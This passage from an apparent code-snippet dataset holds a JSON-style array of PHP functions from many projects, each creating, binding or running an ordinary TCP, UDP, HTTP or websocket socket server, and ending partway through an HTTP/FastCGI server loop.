($this);\r\n\t\t\t\t\t\t\t\t$this -> dispatch (SocketEvents :: SOCK_EXCEPTION, $event);\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$socket = $this -> handleNewConnection ($newConnection);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif ($this -> getTransport () == self :: TRANSPORT_SSL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$socket -> setTransport (ClientStream :: TRANSPORT_SSL);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$event = new AcceptingSucceededEvent ($this, $socket);\r\n\t\t\t\t\t\t$this -> dispatch (SocketEvents :: SOCK_ACCEPTED_CONN, $event);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t};\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Insert callback into poller\r\n\t\t\t\t*/\r\n\t\t\t\t$this -> pollerInstance -> addReadStream ($resourcePointer, $acceptCallback);\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Finishing up..\r\n\t\t\t\t*/\r\n\t\t\t\t$this -> currentState = self :: STATE_LISTENING;\r\n\t\t\t\t$this -> resourcePointer = $resourcePointer;\r\n\t\t\t\t$this -> resourcePointerId = (int) $resourcePointer;\r\n\t\t\t\t\r\n\t\t\t\treturn true;\r\n\t\t}", "public function open_socket(){\n //Create the server socket\n if($this->socket === null){\n \n //Create socket\n if (($this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {\n echo \"Socket_create() failed: reason: \" . socket_strerror(socket_last_error()) . \"\\n\";\n }\n \n if(socket_set_option($this->socket, SOL_SOCKET, SO_KEEPALIVE, 1) === FALSE){\n echo \"Socket_set_option() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n \n if(socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1) === FALSE){\n echo \"Socket_set_option() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n\n if (socket_bind($this->socket, $this->host, $this->port) === false) {\n echo \"Socket_bind() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n\n if (socket_listen($this->socket, 5) === false) {\n echo \"Socket_listen() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n \n }\n return $this->socket;\n }", "public static function createSocket($uri, array $context = [])\n {\n if ((string)(int)$uri === (string)$uri) {\n $uri = '127.0.0.1:' . $uri;\n }\n\n // assume default scheme if none has been given\n if (\\strpos($uri, '://') === false) {\n $uri = 'tcp://' . $uri;\n }\n\n // parse_url() does not accept null ports (random port assignment) => manually remove\n if (\\substr($uri, -2) === ':0') {\n $parts = \\parse_url(\\substr($uri, 0, -2));\n if ($parts) {\n $parts['port'] = 0;\n }\n } else {\n $parts = \\parse_url($uri);\n }\n\n // ensure URI contains TCP scheme, host and port\n if (!$parts || !isset($parts['scheme'], $parts['host'], $parts['port']) || $parts['scheme'] !== 'tcp') {\n throw new \\InvalidArgumentException('Invalid URI \"' . $uri . '\" given');\n }\n\n if (false === \\filter_var(\\trim($parts['host'], '[]'), \\FILTER_VALIDATE_IP)) {\n throw new \\InvalidArgumentException('Given URI \"' . $uri . '\" does not contain a valid host IP');\n }\n\n $socket = @\\stream_socket_server(\n $uri,\n $errno,\n $errstr,\n \\STREAM_SERVER_BIND | \\STREAM_SERVER_LISTEN,\n \\stream_context_create(['socket' => $context + ['backlog' => 511]])\n );\n\n if (false === $socket) {\n throw new \\RuntimeException('Failed to listen on \"' . $uri . '\": ' . $errstr, $errno);\n }\n\n return $socket;\n }", "protected abstract function newSocket($addr, $port);", "public function createSocket()\n\t{\n\t\t$this->socket = new Socket($this->host, $this->port);\n\n\t\tif ($this->port == static::SSL_PORT) {\n\t\t\t$this->socket->tls($this->sslOptions);\n\t\t}\n\n\t\treturn $this->socket;\n\t}", "private function startServer() {\n\t\t$serverLog = PHPUNIT_TEMP_DIR . '/socketServer.log';\n\t\t$descriptorspec = array(\n\t\t\t0 => array(\"pipe\", \"r\"), // stdin\n\t\t\t1 => array(\"file\", $serverLog, \"a\"),// stdout\n\t\t\t2 => array(\"file\", $serverLog, \"a\") // stderr\n\t\t);\n\n\t\t$cmd = \"php \" . dirname(__FILE__) . '/socketServer.php';\n\t\t$this->server = proc_open($cmd, $descriptorspec, $this->pipes);\n\t\tif ($this->server === false) {\n\t\t\tthrow new Exception(\"Failed starting the socket server process.\");\n\t\t}\n\t\t\n\t\t// Sleep a bit to allow server to start\n\t\tusleep(200000);\n\t\t\n\t\t// Verify the server is running\n\t\t$status = proc_get_status($this->server);\n\t\tif (!$status['running']) {\n\t\t\tthrow new Exception(\"Socket server process failed to start. Check the log at [$serverLog].\");\n\t\t}\n\t}", "private function listenSocket() {\n $result = socket_listen($this->listeningSocket);\n $this->checkResult($result);\n }", "function server_loop($address, $port)\n{\n GLOBAL $fh;\n GLOBAL $__server_listening;\n\t\n\t//printLog($fh, \"server_looping...\");\n\n if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)\n {\n\t\t//printLog($fh, \"failed to create socket: \".socket_strerror($sock));\n exit();\n }\n\n\tif(($ret = socket_bind($sock, $address, $port)) < 0)\n\t{\n\t\t//printLog($fh, \"failed to bind socket: \".socket_strerror($ret));\n\t\texit();\n\t}\n\n\tif( ( $ret = socket_listen( $sock, 0 ) ) < 0 )\n\t{\n\t\t//printLog($fh, \"failed to listen to socket: \".socket_strerror($ret));\n\t\texit();\n\t}\n\n\tsocket_set_nonblock($sock);\n\n\t//printLog($fh, \"waiting for clients to connect...\");\n\n\twhile ($__server_listening)\n\t{\n\t\t$connection = @socket_accept($sock);\n\t\tif ($connection === false)\n\t\t{\n\t\t\tusleep(100);\n\t\t} elseif ($connection > 0) {\n\t\t\thandle_client($sock, $connection);\n\t\t} else {\n\t\t\t//printLog($fh, \"error: \".socket_strerror($connection));\n\t\t\tdie;\n\t\t}\n\t}\n}", "function server_loop($address, $port)\n{\n GLOBAL $__server_listening;\n\n if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)\n {\n echo \"failed to create socket: \".socket_strerror($sock).\"\\n\";\n exit();\n }\n\n if(($ret = socket_bind($sock, $address, $port)) < 0)\n {\n echo \"failed to bind socket: \".socket_strerror($ret).\"\\n\";\n exit();\n }\n\n if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )\n {\n echo \"failed to listen to socket: \".socket_strerror($ret).\"\\n\";\n exit();\n }\n\n socket_set_nonblock($sock);\n \n echo \"waiting for clients to connect\\n\";\n\n while ($__server_listening)\n {\n $connection = @socket_accept($sock);\n if ($connection === false)\n {\n usleep(100);\n }elseif ($connection > 0)\n {\n handle_client($sock, $connection);\n }else\n {\n echo \"error: \".socket_strerror($connection);\n die;\n }\n }\n}", "public function run()\n {\n $port = (int) CommandLine::getInput('p');\n\n if (!$port) {\n die('You must specify a valid port for the socket server. For example: \"-p=1024\"');\n }\n\n $server = new SocketServer('127.0.0.1', $port);\n\n // Set greetings for the new connection\n $server->greetings(\"\\nHi! Just type your brackets sequence and you will see the result\\n\");\n\n // Set handler of the incoming messages\n $server->setMessageHandler($this->messageHandler);\n\n // Start up the server\n $server->run();\n }", "public function setup() {\n $this->socket = socket_create(AF_INET, SOCK_STREAM, 0);\n if (!socket_bind($this->socket, $this->ip, $this->port)) {\n $errno = socket_last_error();\n $this->error(sprintf('Could not bind to address %s:%s [%s] %s', $this->ip, $this->port, $errno, socket_strerror($errno)));\n throw new Exception('Could not start server.');\n }\n\n socket_listen($this->socket);\n $this->daemon->on(Daemon::ON_POSTEXECUTE, array($this, 'run'));\n }", "public static function http_server(): void\n {\n sock::$type = 'http:server';\n sock::$host = '0.0.0.0';\n sock::$port = 80;\n $ok = sock::create();\n\n if (!$ok) exit('HTTP Server creation failed!');\n\n do {\n //IMPORTANT!!! Reset all data & read list & client list\n $data = $read = $client = [];\n\n //Accept new connection\n sock::accept($read, $client);\n\n //Read HTTP Request data\n $msg = sock::read($client);\n\n var_dump($msg);\n\n //Prepare simple data\n $key = key($client);\n $sock = current($client);\n\n $data[$key]['sock'] = $sock;\n\n $data[$key]['msg'] = 'Hello! I am a simple HTTP Server running under PHP~';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= 'Your request message was: ';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= trim(current($msg)['msg']);\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= 'Thanks for your test!';\n\n //Send to browser\n $result = sock::write($data, $client);\n\n var_dump($result);\n\n } while (true);\n }", "function __construct($addr, $port, $bufferLength = 2048) \n\t{\n\t\t$this->maxBufferSize = $bufferLength;\n\n\t\t$this->master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die(\"Failed: socket_create()\");\n\n\t\tsocket_set_option($this->master, SOL_SOCKET, SO_REUSEADDR, 1) or die(\"Failed: socket_option()\");\n\t\tsocket_bind($this->master, $addr, $port)or die(\"Failed: socket_bind()\");\n\t\tsocket_listen($this->master,20) or die(\"Failed: socket_listen()\");\n\n\t\t$this->sockets['m'] = $this->master;\n\n\t\t$this->stdout(\"Server started\".PHP_EOL.\"Listening on: $addr:$port\".PHP_EOL.\"Master socket: \".$this->master);\n\t}", "protected function bindSwooleServer()\n {\n $this->app->singleton('swoole.server', function () {\n return $this->server;\n });\n }", "protected function listen()\n {\n // Set time limit to indefinite execution\n set_time_limit (0);\n\n $this->socket = socket_create(\n AF_INET,\n SOCK_DGRAM,\n SOL_UDP\n );\n\n if (!is_resource($this->socket))\n {\n $this->logger->log(\"Failed to create a socket for the discovery server. The reason was: \" .\n socket_strerror(socket_last_error()));\n }\n\n if (!@socket_bind(\n $this->socket,\n $this->config->getSetting('discovery-address'),\n $this->config->getSetting('discovery-port')))\n {\n $this->logger->log(\"Failed to bind to socket while initialising the discovery server.\");\n }\n\n // enter an infinite loop, waiting for data\n $data = '';\n while (true)\n {\n if (@socket_recv($this->socket, $data, 9999, MSG_WAITALL))\n {\n $this->logger->log(\"Discovery server received the following: $data\");\n\n $this->handleMessage($data);\n }\n }\n }", "public function createServer(\n IContext $ctx\n ): IServer;", "function create_socket() {\n\t$address = '127.0.0.1';\n\t$port = 5555;\n\n\tif (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {\n\t echo \"socket_create() failed: reason: \" . socket_strerror(socket_last_error()) . \"\\n\";\n\t}\n\n\tif(socket_connect($sock, $address, $port) == false) {\n\t\techo \"socket_connect() failed: reason: \" . socket_strerror(socket_last_error($sock)) . \"\\n\";\n\t}\n\treturn $sock;\n}", "public function init() {\n\t\t$errno = \"\";\n\t\t$errstr = \"\";\n\t\t\n\t\t//Si la socket est un fichier\n\t\tif (file_exists ( $this->nom_socket )) {\n\t\t\t@unlink ( $this->nom_socket );\n\t\t}\n\t\t\n\t\t$nom_complet = $this->type_socket . \"://\" . $this->nom_socket;\n\t\tif ($this->port_socket != \"\") {\n\t\t\t$nom_complet .= \":\" . $this->port_socket;\n\t\t}\n\t\t$this->socket = stream_socket_server ( $nom_complet, $errno, $errstr );\n\t\t$this->onDebug ( $errstr . \" (\" . $errno . \") sur \" . $nom_complet, 1 );\n\t\t\n\t\tif (! $this->socket) {\n\t\t\treturn $this->onError ( $errstr . \" (\" . $errno . \") sur \" . $nom_complet );\n\t\t\tif ($errstr == \"Address already in use\") {\n\t\t\t\t$CODE_RETOUR = 2;\n\t\t\t} else {\n\t\t\t\t$CODE_RETOUR = 0;\n\t\t\t}\n\t\t} else {\n\t\t\t$CODE_RETOUR = 1;\n\t\t}\n\t\t\n\t\treturn $CODE_RETOUR;\n\t}", "public function listen() :void {\n\n echo \"Starting websocket server on... \" . $this->address . \":\" . $this->port;\n \n socket_listen($this->server);\n socket_set_nonblock($this->server);\n $this->clients[] = new WebSocket($this->server);\n\n do {\n\n $read = array_map(function($ws) {return $ws->socket;}, $this->clients);\n $write = null; \n $except = null;\n\n $ready = socket_select($read, $write, $except, 0);\n if ($ready === false) {\n if ($this->onError !== null) {\n $callback = $this->onError;\n $callback(\"[\".socket_last_error().\"]\".\" \".socket_strerror(socket_last_error()));\n }\n\n return;\n }\n\n if ($ready < 1) continue;\n\n // check if there is a client trying to connect.\n if (in_array($this->server, $read)) {\n if (($client = socket_accept($this->server)) !== false) {\n\n // send websocket handshake headers.\n if (!$this->sendHandshakeHeaders($client)) {\n continue;\n }\n\n // add the new client to the $clients array.\n $ws = new WebSocket($client);\n $this->clients[] = $ws;\n\n // call \"connection\" event handler for each new client.\n if ($this->onConnect !== null) {\n $callback = $this->onConnect;\n $callback($ws);\n }\n\n // remove the listening socket from the clients-with-data array.\n $key = array_search($this->server, $read);\n unset($read[$key]);\n }\n }\n\n foreach ($read as $key => $client) {\n\n $buffer = \"\";\n $bytes = @socket_recv($client, $buffer, 2048, 0);\n\n // check if the client is disconnected.\n if ($bytes === false) {\n\n // remove client from $clients array\n // and call disconnect event handler.\n unset($this->clients[$key]);\n if ($this->onDisconnect !== null) {\n $callback = $this->onDisconnect;\n $callback();\n }\n\n continue;\n }\n\n $ws = $this->clients[$key];\n $callback = $ws->onMessage;\n if ($callback !== null) {\n $callback($ws, $this->unmask($buffer));\n }\n }\n } while (true);\n socket_close($this->server);\n }", "protected function createStream()\n {\n $host = sprintf('udp://%s:%d', $this->config['host'], $this->config['port']);\n\n // stream the data using UDP and suppress any errors\n $this->stream = @stream_socket_client($host);\n }", "function serve($cb) {\n\t$offset = rand(0,2000);\n\tforeach (range(40000+$offset, 50000+$offset) as $port) {\n\t\tlogger(\"serve: Trying port %d\", $port);\n\t\tif (($server = @stream_socket_server(\"tcp://localhost:$port\"))) {\n\t\t\tfprintf(STDERR, \"%s\\n\", $port);\n\t\t\tlogger(\"serve: Using port %d\", $port);\n\t\t\tdo {\n\t\t\t\t$R = array($server); $W = array(); $E = array();\n\t\t\t\t$select = stream_select($R, $E, $E, 10, 0);\n\t\t\t\tif ($select && ($client = stream_socket_accept($server, 1))) {\n\t\t\t\t\tlogger(\"serve: Accept client %d\", (int) $client);\n\t\t\t\t\tif (getenv(\"PHP_HTTP_TEST_SSL\")) {\n\t\t\t\t\t\tstream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_SSLv23_SERVER);\n\t\t\t\t\t}\n\t\t\t\t\ttry {\n\t\t\t\t\t\t$R = array($client);\n\t\t\t\t\t\twhile (!feof($client) && stream_select($R, $W, $E, 1, 0)) {\n\t\t\t\t\t\t\tlogger(\"serve: Handle client %d\", (int) $client);\n\t\t\t\t\t\t\t$cb($client);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlogger(\"serve: EOF/timeout on client %d\", (int) $client);\n\t\t\t\t\t} catch (Exception $ex) {\n\t\t\t\t\t\tlogger(\"serve: Exception on client %d: %s\", (int) $client, $ex->getMessage());\n\t\t\t\t\t\t/* ignore disconnect */\n\t\t\t\t\t\tif ($ex->getMessage() !== \"Empty message received from stream\") {\n\t\t\t\t\t\t\tfprintf(STDERR, \"%s\\n\", $ex);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} while ($select);\n\t\t\treturn;\n\t\t}\n\t}\n}", "public function createServer($config = array()) {\n $this->server = new LimelightServer($config);\n }", "protected function _generateSocket() {\n\t}", "public function listen($address, $port, $socket_class='IntroSocket', $live_past_shutdown=false) {\r\n\t\t$listener = new ListenerSocket();\r\n\t\t$listener->init($address, $port, $this, $socket_class, $live_past_shutdown);\r\n\t}", "public function createServer(Websocket $websocket) : Promise\n {\n $socket = SocketServer::listen('tcp://127.0.0.1:0');\n $port = $socket->getAddress()->getPort();\n $server = new Server([$socket], $websocket, new NullLogger());\n return call(static function () use($server, $port) {\n (yield $server->start());\n return [$server, $port];\n });\n }", "function connect($address, $options = [])\n{\n $server = new Socket($address, $options);\n signal($server, null_exhaust(null));\n return $server;\n}", "public function startServer()\n {\n // fork\n $pid = pcntl_fork();\n\n // if we're in the child process, start the server and listen for data\n if ($pid > 0)\n {\n return $pid;\n }\n elseif ($pid === 0)\n {\n return $this->listen();\n }\n }", "public static function tcp_server(): void\n {\n sock::$type = 'tcp:server';\n sock::$host = '0.0.0.0';\n sock::$port = self::port;\n $ok = sock::create();\n\n if (!$ok) exit('TCP Server creation failed!');\n\n //Set Client list alone\n $client = [];\n\n do {\n //Copy client list to read list\n $read = $client;\n\n //Listen to TCP port\n sock::listen($read);\n\n //Accept new connection\n sock::accept($read, $client);\n\n //Read TCP Data\n $msg = sock::read($read, $client);\n\n var_dump($msg);\n\n $data = [];\n\n //example: from message and send back to client\n foreach ($client as $k => $v) {\n foreach ($msg as $key => $value) {\n $data[$k]['sock'] = $v;\n $data[$k]['msg'] = $key !== $k ? $value['msg'] : 'OK! ' . count($client) . ' players are online waiting!';\n }\n }\n\n //Send data back and maintain clients\n $result = sock::write($data, $client);\n\n var_dump($result);\n\n } while (true);\n }", "public function __construct()\n {\n Socket::$isServer = true;\n self::$server = new sockbase();\n self::$server->onmsg(__NAMESPACE__ . '\\SqlPool::inmsg');\n self::$server->dismsg(__NAMESPACE__ . '\\SqlPool::dis');\n $poolconf = ng169\\lib\\Option::get('pool');\n self::$pwd = $poolconf['pwd'];\n\n self::$server->start($poolconf['ip'], $poolconf['port']);\n\n // self::$server->start(\"127.0.0.1\", \"4563\");\n }", "function setServerSocket($socket)\n {\n $this->serverSocket = $socket;\n }", "public function initTcpListenServer()\n {\n $listenConfig = config('websocketlogin.listern');\n $this->listern = $this->server->addListener($listenConfig['uri'], $listenConfig['port'], $listenConfig['type']);\n return $this->listern;\n }", "public function start($host = 'localhost', $port = 8080, $maxConnections = SOMAXCONN)\n {\n set_time_limit(0);\n ob_implicit_flush();\n\n $this->host = $host;\n $this->port = $port;\n\n $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\n if ($this->socket === false)\n {\n $error = static::getLastError();\n\n throw new Exception('Creating socket failed: ' . $error->message . ' [' . $error->code . ']');\n }\n\n $this->sockets[] = $this->socket;\n\n if (socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1) === false)\n {\n $error = static::getLastError($this->socket);\n\n throw new Exception('Setting socket option to reuse address to true failed: ' . $error->message . ' [' . $error->code . ']');\n }\n\n if (socket_bind($this->socket, $this->host, $this->port) === false)\n {\n $error = static::getLastError($this->socket);\n\n throw new Exception('Binding to port ' . $this->port . ' on host \"' . $this->host . '\" failed: ' . $error->message . ' [' . $error->code . ']');\n }\n\n if (socket_listen($this->socket, $maxConnections) === false)\n {\n $error = static::getLastError($this->socket);\n\n throw new Exception('Starting to listen on the socket on port ' . $this->port . ' and host \"' . $this->host . '\" failed: ' . $error->message . ' [' . $error->code . ']');\n }\n\n $this->log(get_called_class() . \" started listening connections on {$this->host}:{$this->port}\");\n\n $this->registerAutoload();\n\n $this->run();\n }", "public static function tcp_server(): void\n {\n sock::$type = 'tcp:server';\n sock::$host = '0.0.0.0';\n sock::$port = 1000;\n $ok = sock::create();\n\n if (!$ok) exit('TCP Server creation failed!');\n\n //Set Client list alone\n $client = [];\n\n do {\n //Copy client list to read list\n $read = $client;\n\n //Listen to TCP port\n sock::listen($read);\n\n //Accept new connection\n sock::accept($read, $client);\n\n //Read TCP Data\n $msg = sock::read($read, $client);\n\n var_dump($msg);\n\n //Regroup data\n $data = [];\n\n //example: from message and send back to client\n foreach ($msg as $key => $value) {\n //Client socket resource\n $data[$key]['sock'] = $client[$key];\n //Message to be sent\n $data[$key]['msg'] = 'Hello, dear sender!';\n $data[$key]['msg'] .= PHP_EOL;\n $data[$key]['msg'] .= 'I received your message, and now send it back.';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= '====================================================================';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= $value['msg'];\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= '====================================================================';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= 'Thanks for your test!';\n }\n\n //Send data back and maintain clients\n $result = sock::write($data, $client);\n\n var_dump($result);\n\n } while (true);\n }", "protected static function main()\n\t{\n\t\t// Create a TCP/SSL server socket context\n\t\t$context = MHTTPD::getContext();\n\t\t\n\t\t// Start the listener\n\t\tMHTTPD::createListener($context);\n\n\t\t// Initialize some handy vars\n\t\t$timeout = ini_get('default_socket_timeout');\n\t\t$maxClients = MHTTPD::$config['Server']['max_clients'];\n\t\t$maxHeaderBlockSize = MHTTPD_Message::getMaxHeaderBlockSize();\n\t\tif (MHTTPD::$debug) {\n\t\t\t$listener_name = stream_socket_get_name(MHTTPD::$listener, false);\n\t\t}\n\t\t\n\t\t// Start the browser\n\t\tMHTTPD::launchBrowser();\n\t\t\n\t\t// The main loop\n\t\twhile (MHTTPD::$running) \t{\t\n\t\t\n\t\t\t// Build a list of active streams to monitor\n\t\t\t$read = array('listener' => MHTTPD::$listener);\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\t\t\t\t\n\t\t\t\t// Add any client sockets\n\t\t\t\tif ($csock = $client->getSocket()) {\n\t\t\t\t\t$read[\"client_$i\"] = $csock;\n\t\t\t\t\t\n\t\t\t\t\t// Add any client FCGI sockets\n\t\t\t\t\tif ($cfsock = $client->getFCGISocket()) {\n\t\t\t\t\t\t$read[\"clfcgi_$i\"] = $cfsock;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Add any client file streams\n\t\t\t\t\tif ($client->isStreaming()) {\n\t\t\t\t\t\t$read[\"clstrm_$i\"] = $client->getStream();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Add any aborted FCGI requests\n\t\t\tforeach (MHTTPD::$aborted as $aID=>$ab) {\n\t\t\t\t$read['aborted_'.$aID.'_'.$ab['client'].'_'.$ab['pid']] = $ab['socket'];\n\t\t\t}\n\n\t\t\tif (MHTTPD::$debug) {\n\t\t\t\tcecho(\"FCGI scoreboard:\\n\"); cprint_r(MFCGI::getScoreboard(true)); cecho(\"\\n\");\n\t\t\t\tcecho(\"Pre-select:\\n\"); cprint_r($read);\n\t\t\t\tcecho(chrule().\"\\n>>>> Waiting for server activity ($listener_name)\\n\".chrule().\"\\n\\n\");\n\t\t\t}\n\n\t\t\t// Wait for any new activity\n\t\t\tif (!($ready = @stream_select($read, $write=null, $error=null, null))) {\n\t\t\t\ttrigger_error(\"Could not select streams\", E_USER_WARNING);\n\t\t\t}\n\t\t\t\n\t\t\tif (MHTTPD::$debug) {cecho(\"Post-select:\\n\"); cprint_r($read);}\n\t\t\t\t\t\t\n\t\t\t// Check if the listener has a new client connection\n\t\t\tif (in_array(MHTTPD::$listener, $read)) {\n\t\t\t\t\n\t\t\t\t// Search for a free slot to add the new client\n\t\t\t\tfor ($i = 1; $i <= $maxClients; $i++) {\n\t\t\t\t\t\n\t\t\t\t\tif (!isset(MHTTPD::$clients[$i])) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// This slot is free, so add the new client connection\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"New client ($i): \");}\n\t\t\t\t\t\tif (!($sock = @stream_socket_accept(MHTTPD::$listener, $timeout, $peername))) {\n\t\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"\\nCould not accept client stream\\n\");}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"$peername\\n\");}\n\t\t\t\t\t\t$client = new MHTTPD_Client($i, $sock, $peername);\n\t\t\t\t\t\t$client->debug = MHTTPD::$debug;\n\t\t\t\t\t\tMHTTPD::$clients[$i] = $client;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\t} elseif ($i == $maxClients) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// No free slots, so the request goes to the backlog\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"No free client slots!\\n\");}\n\t\t\t\t\t\ttrigger_error(\"Too many clients\", E_USER_NOTICE);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Return to waiting if only the listener is active\n\t\t\t\tif ($ready == 1) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"No other connections to handle\\n\\n\");}\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Handle any incoming client data on selected sockets\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t \n\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... \");}\n\t\t\t\t$csock = $client->getSocket();\n\n\t\t\t\t// Handle any new client requests\n\t\t\t\tif ($client->isReady() && $csock && in_array($csock, $read)) {\n\t\t\t\t\n\t\t\t\t\t// Start reading the request\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"reading ... \");}\n\t\t\t\t\t$client->setTimeout(10);\n\t\t\t\t\t$input = '';\n\t\t\t\t\t\n\t\t\t\t\t// Get the request header block only\n\t\t\t\t\twhile ($buffer = @fgets($csock, 1024)) {\n\t\t\t\t\t\t$input .= $buffer;\n\t\t\t\t\t\tif ($buffer == '' || substr($input, -4) == \"\\r\\n\\r\\n\" \n\t\t\t\t\t\t\t|| strlen($input) > $maxHeaderBlockSize\n\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ($input) {\n\t\t\t\t\t\n\t\t\t\t\t\t// Store the headers and process the request\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"done\\n\");}\n\t\t\t\t\t\t$client->setInput(trim($input));\n\t\t\t\t\t\tif (!$client->processRequest() && !$client->needsAuthorization()) {\n\t\t\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// No request data, client is disconnecting\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"disconnected\\n\");}\n\t\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Handle any request body data\n\t\t\t\t} elseif ($client->isPosting() && $csock && in_array($csock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"reading body \");}\n\t\t\t\t\t$client->readRequestBody();\n\t\t\t\t\n\t\t\t\t// Handle any disconnects or malformed requests\n\t\t\t\t} elseif ($csock && in_array($csock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"aborted connection\\n\");}\n\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\t// Handle any inactive client connections\n\t\t\t\t} else {\n\t\t\t\t\tif (MHTTPD::$debug) {\n\t\t\t\t\t\tcecho('inactive (');\n\t\t\t\t\t\tcecho('req:'.$client->hasRequest());\n\t\t\t\t\t\tcecho(' resp:'.$client->hasResponse());\n\t\t\t\t\t\tcecho(' fcgi:'.$client->hasFCGI());\n\t\t\t\t\t\tcecho(\")\\n\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Handle any incoming FCGI responses\n\t\t\t\tif (($clfsock = $client->getFCGISocket()) && in_array($clfsock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... reading FCGI socket: {$clfsock}\\n\");}\n\t\t\t\t\tif (!$client->readFCGIResponse()) {\n\t\t\t\t\t\tMHTTPD::removeClient($client); // abort any hanging connections\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Handle any outgoing FCGI requests\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\tif ($client->hasFCGI() && !$client->hasSentFCGI()\n\t\t\t\t\t&& (!$client->isPosting() || $client->hasFullRequestBuffer())\n\t\t\t\t\t) {\n\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... sending FCGI request\\n\");}\n\t\t\t\t\tif (!$client->sendFCGIRequest()) {\n\t\t\t\t\t\tMHTTPD::removeClient($client); // abort any failed connections\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Handle any outgoing client responses\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\tif ($client->hasRequest()) {\n\t\t\t\t\tif (!$client->isPosting() && $client->hasSentFCGI() && !$client->hasResponse()) {\n\t\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... waiting for FCGI response\\n\");}\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} elseif ($client->needsAuthorization()) {\n\t\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... waiting for authorization\\n\");}\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} elseif ($client->hasResponse()) {\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... handling response\\n\");}\n\t\t\t\t\t\tMHTTPD::handleResponse($client);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Handle any aborted FCGI requests\n\t\t\tforeach ($read as $r) {\n\t\t\t\tforeach (MHTTPD::$aborted as 